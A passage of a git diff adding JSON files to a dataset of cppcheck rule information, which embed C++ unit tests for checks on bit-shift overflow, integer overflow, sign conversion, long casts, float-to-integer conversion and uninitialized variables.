width types\n {\n // unsigned long long\n check(\"unsigned long long foo(unsigned long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(int x) { return (x = (unsigned long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"unsigned long long f(unsigned long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // [signed] long long\n check(\"long long foo(long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(int x) { return (x = (long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"long long f(long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n // signed long long\n check(\"signed long long foo(signed long long x) { return x << 64; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting signed 64-bit value by 63 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // c++14\n check(\"signed long long foo(signed long long x) { return x << 64; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(long long x) { return (x = (signed long long)x << 64); }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 64-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 63; }\", dinit(CheckOptions, $.settings = &settings, $.standard = Standards::CPP14));\n ASSERT_EQUALS(\"[test.cpp:1]: (portability) Shifting signed 64-bit value by 63 bits is implementation-defined behaviour\\n\", errout_str());\n check(\"signed long long f(signed long long x) { return x << 62; }\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() { int x; x = 1 >> 64; }\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1]: (error) Shifting 32-bit value by 64 bits is undefined behaviour\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" QList someList;\\n\"\n \" someList << 300;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6793\n check(\"template int foo(unsigned int x) { return x << I; }\\n\"\n \"const unsigned int f = foo<31>(0);\\n\"\n \"const unsigned int g = foo<100>(0);\\n\"\n \"template int hoo(unsigned int x) { return x << 32; }\\n\"\n \"const unsigned int h = hoo<100>(0);\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:1]: (error) Shifting 32-bit value by 100 bits is undefined behaviour\\n\", errout_str());\n\n // #7266: C++, shift in macro\n check(\"void f(unsigned int x) {\\n\"\n \" UINFO(x << 1234);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8640\n check(\"int f (void)\\n\"\n \"{\\n\"\n \" constexpr const int a = 1;\\n\"\n \" constexpr const int shift[1] = {32};\\n\"\n \" constexpr const int ret = a << shift[0];\\n\" // shift too many bits\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5]: (error) Shifting 32-bit value by 32 bits is undefined behaviour\\n\"\n \"[test.cpp:5]: (error) Signed integer overflow for expression 'a< 32)\\n\"\n \" return 0;\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:6]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4] -> [test.cpp:7]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 4.\\n\",\n errout_str());\n\n check(\"int f(int k, int rm) {\\n\"\n \" if (k == 0 || k == 32 || k == 31)\\n\"\n \" return 0;\\n\"\n \" else if (k > 32)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return rm>> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static long long f(int x, long long y) {\\n\"\n \" if (x >= 64)\\n\"\n \" return 0;\\n\"\n \" return -(y << (x-1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" std::ofstream outfile;\\n\"\n \" outfile << vec_points[0](0) << static_cast(d) << ' ';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned b, int len, unsigned char rem) {\\n\" // #10773\n \" int bits = 0;\\n\"\n \" while (len > 8) {\\n\"\n \" b = b >> rem;\\n\"\n \" bits += 8 - rem;\\n\"\n \" if (bits == 512)\\n\"\n \" len -= 8;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIntegerOverflow() {\n const Settings settings = settingsBuilder().severity(Severity::warning).platform(Platform::Type::Unix32).build();\n\n check(\"x = (int)0x10000 * (int)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:18]: (error) Signed integer overflow for expression '(int)0x10000*(int)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"x = (long)0x10000 * (long)0x10000;\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:1:19]: (error) Signed integer overflow for expression '(long)0x10000*(long)0x10000'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax + 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Signed integer overflow for expression 'intmax+1'. [integerOverflow]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int intmax = 0x7fffffff;\\n\"\n \" return intmax - 1;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return x * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Either the condition 'x==123456' is redundant or there is signed integer overflow for expression 'x*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return -123456 * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:19]: (warning) Either the condition 'x==123456' is redundant or there is signed integer underflow for expression '-123456*x'. [integerOverflowCond]\\n\", errout_str());\n\n check(\"int foo(signed int x) {\\n\"\n \" if (x==123456) {}\\n\"\n \" return 123456U * x;\\n\"\n \"}\",dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12117\n \" return (i == 31) ? 1 << i : 0;\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:2:26]: (warning) Shifting signed 32-bit value by 31 bits is undefined behaviour. See condition at line 2. [shiftTooManyBitsSigned]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #13092\n \" int n = 0;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" n = n * 47163 - 57412;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Signed integer underflow for expression 'n*47163'. [integerOverflow]\\n\"\n \"[test.cpp:4:23]: (error) Signed integer underflow for expression 'n*47163-57412'. [integerOverflow]\\n\",\n errout_str());\n }\n\n void signConversion() {\n const Settings settings = settingsBuilder().platform(Platform::Type::Unix64).build();\n check(\"x = -4 * (unsigned)y;\");\n ASSERT_EQUALS(\"[test.cpp:1:6]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"x = (unsigned)y * -4;\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (warning) Expression '-4' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n check(\"unsigned int dostuff(int x) {\\n\" // x is signed\n \" if (x==0) {}\\n\"\n \" return (x-1)*sizeof(int);\\n\"\n \"}\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:12]: (warning) Expression 'x-1' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversionCond]\\n\", errout_str());\n\n check(\"unsigned int f1(signed int x, unsigned int y) {\" // x is signed\n \" return x * y;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4,4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:57]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\"\n \" return x * 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\n \"[test.cpp:1:34]: (warning) Expression 'x' can have a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\",\n errout_str());\n\n check(\"unsigned int f1(int x) {\" // #6168: FP for inner calculation\n \" return 5U * (1234 - x);\\n\" // <- signed subtraction, x is not sign converted\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Don't warn for + and -\n check(\"void f1(int x) {\"\n \" a = x + 5U;\\n\"\n \"}\\n\"\n \"void f2() { f1(-4); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo(size_t x) {\\n\"\n \" return -2 * x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Expression '-2' has a negative value. That is converted to an unsigned value and used in an unsigned calculation. [signConversion]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #12110 FP signConversion with integer overflow\n \" if (LLONG_MIN / (-1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastAssign() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" const long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long f(int x, int y) {\\n\"\n \" long ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) int result is assigned to long variable. If the variable is long to avoid loss of information, then you have loss of information. [truncLongCastAssignment]\\n\", errout_str());\n\n check(\"long f() {\\n\"\n \" const long long ret = 256 * (1 << 10);\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // typedef\n check(\"long f(int x, int y) {\\n\"\n \" const size_t ret = x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // astIsIntResult\n check(\"long f(int x, int y) {\\n\"\n \" const long ret = (long)x * y;\\n\"\n \" return ret;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"double g(float f) {\\n\"\n \" return f * f;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) float result is returned as double value. If the return value is double to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\",\n errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\" // #12393\n \"struct S {\\n\"\n \" S& operator=(const S&) { return *this; }\\n\"\n \" struct U {\\n\"\n \" S* p;\\n\"\n \" };\\n\"\n \" U u;\\n\"\n \"};\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(long& r, long i) {\\n\"\n \" r = 1 << i;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void longCastReturn() {\n const Settings settings = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n const Settings settingsWin = settingsBuilder().severity(Severity::style).platform(Platform::Type::Win64).build();\n\n const char code[] = \"long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"\", errout_str());\n\n const char code2[] = \"long long f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\";\n check(code2, dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n check(code2, dinit(CheckOptions, $.settings = &settingsWin));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long long value. If the return value is long long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n\n // typedef\n check(\"size_t f(int x, int y) {\\n\"\n \" return x * y;\\n\"\n \"}\\n\", dinit(CheckOptions, $.settings = &settings));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) int result is returned as long value. If the return value is long to avoid loss of information, then you have loss of information. [truncLongCastReturn]\\n\", errout_str());\n }\n\n // This function ensure that test works with different compilers. Floats can\n // be stringified differently.\n static std::string removeFloat(const std::string& msg) {\n const std::string::size_type pos1 = msg.find(\"float (\");\n const std::string::size_type pos2 = msg.find(\") to integer conversion\");\n if (pos1 == std::string::npos || pos2 == std::string::npos || pos1 > pos2)\n return msg;\n return msg.substr(0,pos1+7) + msg.substr(pos2);\n }\n\n void checkFloatToIntegerOverflow() {\n check(\"x = (int)1E100;\");\n ASSERT_EQUALS(\"[test.cpp:1:5]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (int)-1E100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (short)1E6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)256.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" return (unsigned char)255.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", removeFloat(errout_str()));\n\n check(\"void f(void) {\\n\"\n \" char c = 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check(\"char f(void) {\\n\"\n \" return 1234.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true && f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return true || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check( \"bool f(unsigned short x);\\n\"\n \"bool g() {\\n\"\n \" return false || f((unsigned short)75000.0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\" // #11685\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(true, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TEST(b, f) b ? 5000 : (unsigned short)f\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" unsigned short u = TEST(false, 75000.0);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:24]: (error) Undefined behaviour: float () to integer conversion overflow. [floatConversionOverflow]\\n\", removeFloat(errout_str()));\n\n }\n\n void integerOverflow() { // #11794\n // std.cfg for int32_t\n // Platform::Unix32 for INT_MIN=-2147483648 and INT32_MAX=2147483647\n const Settings s = settingsBuilder().library(\"std.cfg\").cpp(Standards::CPP11).platform(Platform::Unix32).build();\n\n checkP(\"int fun(int x)\\n\"\n \"{\\n\"\n \" if(x < 0) x = -x;\\n\"\n \" return x >= 0;\\n\"\n \"}\\n\"\n \"int f()\\n\"\n \"{\\n\"\n \" fun(INT_MIN);\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Signed integer overflow for expression '-x'. [integerOverflow]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #8399\n \" int32_t i = INT32_MAX;\\n\"\n \" i << 1;\\n\"\n \" i << 2;\\n\"\n \"}\", dinit(CheckPOptions, $.settings = &s));\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Signed integer overflow for expression 'i<<2'. [integerOverflow]\\n\", errout_str());\n }\n\n void shiftTooManyBits() { // #11496\n check(\"template struct B {\\n\"\n \" unsigned long long f(unsigned int n) const {\\n\"\n \" if (width == 1)\\n\"\n \" return 1ULL << width;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"static B<64> b;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestType)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkTooBigBitwiseShift.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkTooBigBitwiseShift.json new file mode 100644 index 0000000..b372448 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckType/checkTooBigBitwiseShift.json @@ -0,0 +1,13 @@ +{ + "name": "checkTooBigBitwiseShift", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 45, + "branches": 16, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/analyseWholeProgram.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/analyseWholeProgram.json new file mode 100644 index 0000000..951fb1a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/analyseWholeProgram.json @@ -0,0 +1,13 @@ +{ + "name": "analyseWholeProgram", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 38, + "branches": 5, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/check.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/check.json new file mode 100644 index 0000000..92070c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckUninitVar/check.json @@ -0,0 +1,23 @@ +{ + "name": "check", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 15, + "branches": 4, + "apis": 19, + "test": [ + { + "description": null, + "expected-problems": 2, + "expected-linenumbers": [ + 7752, + 7787 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkuninitvar.h\"\n#include \"ctu.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestUninitVar : public TestFixture {\npublic:\n TestUninitVar() : TestFixture(\"TestUninitVar\") {}\n\nprivate:\n const Settings settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(uninitvar1);\n TEST_CASE(uninitvar_warn_once); // only write 1 warning at a time\n TEST_CASE(uninitvar_decl); // handling various types in C and C++ files\n TEST_CASE(uninitvar_bitop); // using uninitialized operand in bit operation\n TEST_CASE(uninitvar_alloc); // data is allocated but not initialized\n TEST_CASE(uninitvar_arrays); // arrays\n TEST_CASE(uninitvar_class); // class/struct\n TEST_CASE(uninitvar_enum); // enum variables\n TEST_CASE(uninitvar_if); // handling if\n TEST_CASE(uninitvar_loops); // handling for/while\n TEST_CASE(uninitvar_switch); // handling switch\n TEST_CASE(uninitvar_references); // references\n TEST_CASE(uninitvar_return); // return\n TEST_CASE(uninitvar_assign); // = {..}\n TEST_CASE(uninitvar_strncpy); // strncpy doesn't always null-terminate\n TEST_CASE(func_uninit_var); // analyse function calls for: 'int a(int x) { return x+x; }'\n TEST_CASE(func_uninit_pointer); // analyse function calls for: 'void a(int *p) { *p = 0; }'\n TEST_CASE(uninitvar_typeof); // typeof\n TEST_CASE(uninitvar_ignore); // ignore cast, *&x, ..\n TEST_CASE(uninitvar2);\n TEST_CASE(uninitvar3); // #3844\n TEST_CASE(uninitvar4); // #3869 (reference)\n TEST_CASE(uninitvar5); // #3861\n TEST_CASE(uninitvar6); // #13227\n TEST_CASE(uninitvar2_func); // function calls\n TEST_CASE(uninitvar2_value); // value flow\n TEST_CASE(valueFlowUninit2_value);\n TEST_CASE(valueFlowUninit_uninitvar2);\n TEST_CASE(valueFlowUninit_functioncall);\n TEST_CASE(uninitStructMember); // struct members\n TEST_CASE(uninitvar2_while);\n TEST_CASE(uninitvar2_4494); // #4494\n TEST_CASE(uninitvar2_malloc); // malloc returns uninitialized data\n TEST_CASE(uninitvar8); // ticket #6230\n TEST_CASE(uninitvar9); // ticket #6424\n TEST_CASE(uninitvar10); // ticket #9467\n TEST_CASE(uninitvar11); // ticket #9123\n TEST_CASE(uninitvar12); // #10218 - stream read\n TEST_CASE(uninitvar13); // #9772\n TEST_CASE(uninitvar14);\n TEST_CASE(uninitvar_unconditionalTry);\n TEST_CASE(uninitvar_funcptr); // #6404\n TEST_CASE(uninitvar_operator); // #6680\n TEST_CASE(uninitvar_ternaryexpression); // #4683\n TEST_CASE(uninitvar_pointertoarray);\n TEST_CASE(uninitvar_cpp11ArrayInit); // #7010\n TEST_CASE(uninitvar_rangeBasedFor); // #7078\n TEST_CASE(uninitvar_static); // #8734\n TEST_CASE(uninitvar_configuration);\n TEST_CASE(checkExpr);\n TEST_CASE(trac_4871);\n TEST_CASE(syntax_error); // Ticket #5073\n TEST_CASE(trac_5970);\n TEST_CASE(valueFlowUninitTest);\n TEST_CASE(valueFlowUninitBreak);\n TEST_CASE(valueFlowUninitStructMembers);\n TEST_CASE(valueFlowUninitForLoop);\n TEST_CASE(uninitvar_ipa);\n TEST_CASE(uninitvar_memberfunction);\n TEST_CASE(uninitvar_nonmember); // crash in ycmd test\n TEST_CASE(uninitvarDesignatedInitializers);\n\n TEST_CASE(isVariableUsageDeref); // *p\n TEST_CASE(isVariableUsageDerefValueflow); // *p\n\n TEST_CASE(uninitvar_memberaccess); // (&(a))->b <=> a.b\n\n // whole program analysis\n TEST_CASE(ctuTest);\n }\n\n struct CheckUninitVarOptions\n {\n CheckUninitVarOptions() = default;\n bool cpp = true;\n bool debugwarnings = false;\n const Settings *s = nullptr;\n };\n\n#define checkUninitVar(...) checkUninitVar_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUninitVar_(const char* file, int line, const char code[], const CheckUninitVarOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).debugwarnings(options.debugwarnings).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for redundant code..\n CheckUninitVar checkuninitvar(&tokenizer, &settings1, this);\n checkuninitvar.check();\n }\n\n void uninitvar1() {\n // extracttests.start: int b; int c;\n\n // Ticket #2207 - False negative\n checkUninitVar(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" int a;\\n\"\n \" b = a - c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #6455 - some compilers allow const variables to be uninitialized\n // extracttests.disable\n checkUninitVar(\"void foo() {\\n\"\n \" const int a;\\n\"\n \" b = c - a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a 